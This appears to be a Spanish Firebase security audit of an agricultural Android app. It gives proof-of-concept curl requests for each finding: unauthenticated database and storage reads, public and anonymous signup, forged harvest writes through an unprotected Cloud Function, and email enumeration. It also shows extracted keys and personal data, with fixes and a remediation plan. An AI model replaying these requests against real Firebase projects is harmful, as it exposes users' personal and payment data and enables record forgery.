| Campo | Valor extraído | Fuente en APK |
|---|---|---|
| Project ID | agrotrack-pro-78f3a | google-services.json → project_id |
| API Key | AIzaSyB9Kx2mR4nP7qV1WcT8dY3oL6sE0fHuJ5A | res/values/strings.xml → google_api_key |
| Auth Domain | agrotrack-pro-78f3a.firebaseapp.com | google-services.json → client[0] |
| Database URL | https://agrotrack-pro-78f3a-default-rtdb.europe-west1.firebasedatabase.app | google-services.json → firebase_url |
| Storage Bucket | agrotrack-pro-78f3a.appspot.com | google-services.json → storage_bucket |
| Sender ID | 847392015463 | google-services.json → project_number |
| App ID | 1:847392015463:android:c4f2a9b3d1e8f705 | google-services.json → mobilesdk_app_id |
GET https://agrotrack-pro-78f3a-default-rtdb.europe-west1.firebasedatabase.app/.json → HTTP 200 OK (sin credenciales)
{ "usuarios": { "uid_4ae9b": { "nombre": "Ignacio Herrero Molina", "nif": "28471953B", "telefono": "+34 612 847 193", "gps_parcela": { "lat": 38.4731, "lon": -0.3843 } } }, "integraciones": { "cooperativa_alicante": { "api_token": "coop_sk_7Hx9KpQ3mN..." } } }
{ "rules": { ".read": true, ".write": true } } // Reglas de desarrollo sin actualizar en producción
{ "rules": { ".read": false, ".write": false, "usuarios": { "$uid": { ".read": "$uid === auth.uid", ".write": "$uid === auth.uid" } } } }
curl -X POST -H "Content-Type: application/json" \ -d '{"email":"auditor@cultiva.ai","password":"Audit123!","returnSecureToken":true}' \ "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSyB9Kx2..." → HTTP 200 OK
{ "idToken": "eyJhbGciOiJSUzI1NiIsImtpZCI6IjAzY...", "email": "auditor@cultiva.ai", "refreshToken": "AGEhc0BPqjM...", "expiresIn": "3600", "localId": "X9aKpZ4rQ1mN..." }
Firebase Console → Authentication → Settings → User Actions: ☐ Enable create (sign-up) ← DESHABILITAR // Para crear usuarios: usar Admin SDK en servidor const admin = require('firebase-admin'); admin.auth().createUser({ email, password }); // solo servidor
allow read, write: if true en todas las colecciones. Se confirmó acceso a colecciones sensibles: pedidos, pagos y usuarios, con datos de transacciones comerciales de distribuidores y agriculotres.
curl "https://firestore.googleapis.com/v1/projects/agrotrack-pro-78f3a/databases/(default)/documents" Colecciones encontradas: 📂 usuarios — 4.217 docs · NIF, GPS, contacto 📂 pedidos — 18.493 docs · historial compras, precios 📂 pagos — 6.821 docs · importes, métodos pago 📂 cosechas — 9.104 docs · datos de producción 📂 asesores — 312 docs · perfiles profesionales
rules_version = '2'; service cloud.firestore { match /databases/{database}/documents { match /{document=**} { allow read, write: if false; // deny-all por defecto } match /usuarios/{userId} { allow read, write: if request.auth.uid == userId; } match /pedidos/{pedidoId} { allow read: if request.auth.uid == resource.data.usuarioId; } } }
auth != null en reglas de base de datos y storage. Combinado con los hallazgos AGRO-01 y AGRO-03, cualquier visitante puede autenticarse como usuario "real" y acceder a recursos etiquetados como privados.
curl -X POST -d '{"returnSecureToken":true}' \ "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSyB9..." → idToken válido · localId: "anon_7Xk2pQ..."
1. Firebase Console → Authentication → Sign-in method → Anonymous: DESHABILITAR 2. En reglas, verificar proveedor explícitamente: ".read": "auth != null && auth.token.provider !== 'anonymous'"
curl "https://firebasestorage.googleapis.com/v0/b/agrotrack-pro-78f3a.appspot.com/o" 📄 contratos/contrato_cooperativa_alicante_2025.pdf · 284 KB 📄 backups/config_backup_2026-05-31.json · 47 KB 📄 admin/stripe_keys_prod.txt · 1 KB 📄 certificados/cert_fito_2024_ignacio_herrero.pdf · 156 KB 📄 facturas/fact_2026_03_143.pdf · 89 KB
match /{allPaths=**} { allow read, write: if false; }
match /usuarios/{userId}/{allPaths=**} {
allow read, write: if request.auth.uid == userId;
}
syncCosecha en us-central1 no verifica la identidad del llamante. Acepta un userId arbitrario en el body y escribe datos de cosecha en nombre de ese usuario, lo que permite falsificar registros agrícolas con implicaciones en certificaciones y subvenciones.
curl -X POST -H "Content-Type: application/json" \ -d '{"userId":"uid_4ae9b","cosecha":{"kg":50000,"variedad":"Almendra"}}' \ "https://us-central1-agrotrack-pro-78f3a.cloudfunctions.net/syncCosecha" → HTTP 200 · {"success": true, "cosechaId": "cos_xyz123"}
exports.syncCosecha = functions.https.onCall(async (data, context) => { if (!context.auth) throw new HttpsError('unauthenticated', 'Login requerido'); if (context.auth.uid !== data.userId) throw new HttpsError('permission-denied', ...); // ... lógica segura });
createAuthUri revela si un email está registrado en el sistema. Permite a un atacante construir listas de usuarios válidos para ataques de phishing dirigido o credential stuffing contra los agricultores.
curl -X POST -d '{"identifier":"ignacio.herrero@finca-alicante.es","continueUri":"https://localhost"}' \ "https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=AIzaSyB9..." → { "registered": true, "signinMethods": ["password"] }
Firebase Console → Authentication → Settings
→ User enumeration protection: ENABLE
{ "api_cooperativas_url": "https://api-interno.cooperativa-alicante.es/v2", "soilgrid_api_key": "sg_live_Kx9mQ3pN7rT2...", "debug_mode": "true", "admin_panel_enabled": "true" }
// Mover a Google Secret Manager: gcloud secrets create soilgrid-api-key --data-file=./key.txt // Acceder desde Cloud Functions con SDK: const secret = await secretManager.accessSecretVersion({ name });
Google Cloud Console → APIs & Services → Credentials
→ Seleccionar key → Application restrictions → Android apps
→ Add package name: es.agrotrack.pro
→ Add SHA-1 certificate fingerprint: (fingerprint del keystore de producción)
| Prioridad | ID | Acción | Responsable | Esfuerzo | Plazo |
|---|---|---|---|---|---|
| P1 — AHORA | AGRO-01 | Cerrar reglas Realtime Database (deny-all + UID match) | Backend / Firebase Admin | 30 min | Inmediato |
| P1 — AHORA | AGRO-03 | Actualizar reglas Firestore a deny-all + reglas por colección | Backend / Firebase Admin | 1 h | Inmediato |
| P1 — AHORA | AGRO-02 | Deshabilitar signup público en Firebase Console | Firebase Admin | 5 min | Inmediato |
| P2 — 24h | AGRO-04 | Deshabilitar anonymous auth y actualizar reglas | Backend | 2 h | < 24 horas |
| P2 — 24h | AGRO-05 | Aplicar reglas Storage + eliminar archivo stripe_keys_prod.txt | Backend / DevOps | 1 h | < 24 horas |
| P3 — 1 semana | AGRO-06 | Añadir context.auth en Cloud Function syncCosecha | Desarrollador | 1 h | < 1 semana |
| P3 — 1 semana | AGRO-07 | Activar user enumeration protection en Auth settings | Firebase Admin | 5 min | < 1 semana |
| P3 — 1 semana | AGRO-08 | Mover API keys de Remote Config a Secret Manager | DevOps | 3 h | < 1 semana |
| P3 — 1 mes | AGRO-09 | Vincular API key al SHA-1 del keystore de producción | DevOps | 30 min | < 1 mes |